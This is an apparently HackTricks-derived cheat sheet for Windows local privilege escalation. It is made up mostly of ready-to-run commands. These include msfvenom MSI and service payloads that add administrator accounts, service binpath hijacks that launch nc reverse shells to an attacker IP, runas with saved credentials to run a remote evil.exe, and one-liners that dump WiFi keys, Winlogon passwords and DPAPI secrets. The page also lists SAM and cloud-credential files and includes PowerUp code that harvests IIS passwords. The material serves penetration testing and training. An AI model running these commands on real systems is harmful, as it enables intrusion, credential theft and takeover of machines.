If you want to know about my latest modifications/additions, join the PEASS & HackTricks telegram group here.
If you want to share some tricks with the community you can also submit pull requests to ****https://github.com/carlospolop/hacktricks ****that will be reflected in this book.
Don’t forget to give ⭐ on the github to motivate me to continue developing this book.
If you don’t know what are Windows Access Tokens, read the following page before continuing:
{% page-ref page=“access-tokens.md” %}
If you don’t know what is any of the acronyms used in the heading of this section, read the following page before continuing:
{% page-ref page=“acls-dacls-sacls-aces.md” %}
If you don’t know what are integrity levels in Windows you should read the following page before continuing:
{% page-ref page=“integrity-levels.md” %}
Check if the Windows version has any known vulnerability (check also the patches applied).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Locally with system infromation
Github repos of exploits:
Any credential/Juicy info saved in the env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
You can learn how to turn this on in https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.
You can enable this following the link of the last section (Transcript files) but enabling “Module Logging” instead of “Powershell Transcription”.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
To view the last 15 events from PowersShell logs you can execute:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
The Script Block logging events can be found in Windows Event viewer under following path: Application and Sevices Logs > Microsoft > Windows > Powershell > Operational
To view the last 20 events you can use:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
You can compromise the system if the updates are not requested using httpS but http.
You start by checking if the network uses a non-SSL WSUS update by running the following:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
If you get a reply such as:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.
Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.
In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.
Read the research here:
{% file src="../../.gitbook/assets/ctx_wsuspect_white_paper (1).pdf" %}
****Read the complete report here.
Basically, this is the flaw that this bug exploits:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY*SYSTEM*.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
Use the Write-UserAddMSI command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Write-UserAddMSI
Just execute the created binary to escalate privileges.
Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a “.bat” file if you just want to execute command lines
{% page-ref page=“msi-wrapper.md” %}
{% page-ref page=“create-msi-with-wix.md” %}
To execute the installation of the malicious .msi file in background:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
To exploit this vulnerability you can use: exploit/windows/local/always_install_elevated
These settings decide what is being logged, so you should pay attention
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
Windows Event Forwarding, is interesting to know where are the logs sent
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
When using LAPS, 2 new attributes appear in the computer objects of the domain: ms-msc-AdmPwd and ms-mcs-AdmPwdExpirationTime. These attributes contains the plain-text admin password and the expiration time. Then, in a domain environment, it could be interesting to check which users can read these attributes…
If active, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
Microsoft in Windows 8.1 and later has provided additional protection for the LSA to prevent untrusted processes from being able to read its memory or to inject code.
More info about LSA Protection here.
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
Credential Guard is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash.
****More info about Credentials Guard here.****
reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
Domain credentials are used by operating system components and are authenticated by the Local Security Authority (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user’s logon data.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Check is there is any anti virus running:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more
Get-MpComputerStatus
Check which files/extensions are blacklisted/whitelisted.
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
UAC is used to allow an administrator user to not give administrator privileges to each process executed. This is achieved using default the low privileged token of the user.
More information about UAC here.
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\
You should check if any of the groups where you belong have interesting permissions
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
If you belongs to some privileged group you may be able to escalate privileges. Learn about privileged groups and how to abuse them to escalate privileges here:
{% page-ref page="../active-directory-methodology/privileged-accounts-and-token-privileges.md" %}
Learn more about what is a token in this page: Windows Tokens.
Check the following page to learn about interesting tokens and how to abuse them:
{% page-ref page=“privilege-escalation-abusing-tokens.md” %}
qwinsta
klist sessions
dir C:\Users
Get-ChildItem C:\Users
net accounts
powershell -command "Get-Clipboard"
First of all, listing the processes check for passwords inside the command line of the process.
Check if you can overwrite some binary running or if you have write permissions of the binary folder to exploit possible DLL Hijacking attacks:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges.
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
You can create a memory dump of a running process using procdump from sysinternals. Services like FTP have the credentials in clear text in memory, try to dump the memory and read the credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.
Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”
Get a list of services:
net start
wmic service list brief
sc query
Get-Service
You can use sc to get information of a service
sc qc <service_name>
It is recommended to have the binary accesschk from Sysinternals to check the required privilege level for each service.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
It is recommended to check if “Authenticated Users” can modify any service:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
If you are having this error (for example with SSDPSRV):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
You can enable it using
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Take into account that the service upnphost depends on SSDPSRV to work (for XP SP1)
Another workaround of this problem is running:
sc.exe config usosvc start= auto
If the group “Authenticated users” has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Other Permissions can be used to escalate privileges:
SERVICE_CHANGE_CONFIG Can reconfigure the service binary
WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG
WRITE_OWNER: Can become owner, reconfigure permissions
GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG
GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG
To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions
Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking).
You can get every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
You can also use sc and icacls:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
You should check if you can modify any service registry.
You can check your permissions over a service registry doing:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service.
To change the Path of the binary executed:
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
{% page-ref page=“appenddata-addsubdirectory-permission-over-service-registry.md” %}
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
To list all unquoted service paths (minus built-in Windows services)
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
You can detect and exploit this vulnerability with metasploit: exploit/windows/local/trusted_service_path
You can manually create a service binary with metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Check permissions of the binaries (maybe you can overwrite one and escalate privileges) and of the folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Check if you can modify some config file to read some special file or if you can modify some binary that is going to be executed by an Administrator account (schedtasks).
A way to find weak folder/files permissions in the system is doing:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Check if you can overwrite some registry or binary that is going to be executed by a different user.
Read the following page to learn more about interesting autoruns locations to escalate privileges:
{% page-ref page=“privilege-escalation-with-autorun-binaries.md” %}
Look for possible third party weird/vulnerable drivers
driverquery
driverquery.exe /fo table
driverquery /SI
If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.
Check permissions of all folders inside PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Check for other known computers hardcoded on the hosts file
type C:\Windows\System32\drivers\etc\hosts
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Check for restricted services from the outside
netstat -ano #Opened ports?
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
****Check this page for Firewall related commands (list rules, create rules, turn off, turn off…)
More commands for network enumeration here
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
Binary bash.exe can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
If you get root user you can listen on any port (the first time you use nc.exe to listen on a port it will ask via GUI if nc should be allowed by the firewall).
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
To easily start bash as root, you can try --default-user root
You can explore the WSL filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
The Windows Vault stores user credentials for servers, websites and other programs that Windows can log in the users automatically. At first instance, this might look like now users can store their Facebook credentials, Twitter credentials, Gmail credentials etc., so that they automatically log in via browsers. But it is not so.
Windows Vault stores credentials that Windows can log in the users automatically, which means that any Windows application that needs credentials to access a resource (server or a website) can make use of this Credential Manager & Windows Vault and use the credentials supplied instead of users entering the username and password all the time.
Unless the applications interact with Credential Manager, I don’t think it is possible for them to use the credentials for a given resource. So, if your application wants to make use of the vault, it should somehow communicate with the credential manager and request the credentials for that resource from the default storage vault.
Use the cmdkey to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas with the /savecred options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Using runas with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.
In theory, the Data Protection API can enable symmetric encryption of any kind of data; in practice, its primary use in the Windows operating system is to perform symmetric encryption of asymmetric private keys, using a user or system secret as a significant contribution of entropy.
DPAPI allows developers to encrypt keys using a symmetric key derived from the user’s logon secrets, or in the case of system encryption, using the system’s domain authentication secrets.
The DPAPI keys used for encrypting the user’s RSA keys are stored under %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} is the Security Identifier of that user. The DPAPI key is stored in the same file as the master key that protects the users private keys. It usually is 64 bytes of random data. (Notice that this directory is protected so you cannot list it usingdir from the cmd, but you can list it from PS).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
You can use mimikatz module dpapi::masterkey with the appropriate arguments (/pvk or /rpc) to decrypt it.
The credentials files protected by the master password are usually located in:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
You can find them on HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
and in HKCU\Software\Microsoft\Terminal Server Client\Servers\
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files
You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
If this file exists then it is possible that some credentials have been configured and can be recovered.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
Check if C:\Windows\CCM\SCClient.exe exists .
Installers are run with SYSTEM privileges, many are vulnerable to DLL Sideloading (Info from https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH private keys can be stored inside the registry key HKCU\Software\OpenSSH\Agent\Keys so you should check if there is anything interesting in there:
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using https://github.com/ropnop/windows_sshagent_extract.
More information about this technique here: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
If ssh-agent service is not running and you want it to automatically start on boot run:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
{% hint style=“info” %}
It looks like this technique isn’t valid anymore. I tried to create some ssh keys, add them with ssh-add and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn’t exist and procmon didn’t identify the use of dpapi.dll during the asymmetric key authentication.
{% endhint %}
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
You can also search for these files using metasploit: post/windows/gather/enum_unattend
Example content_:_
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
##From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
Search for a file called SiteList.xml
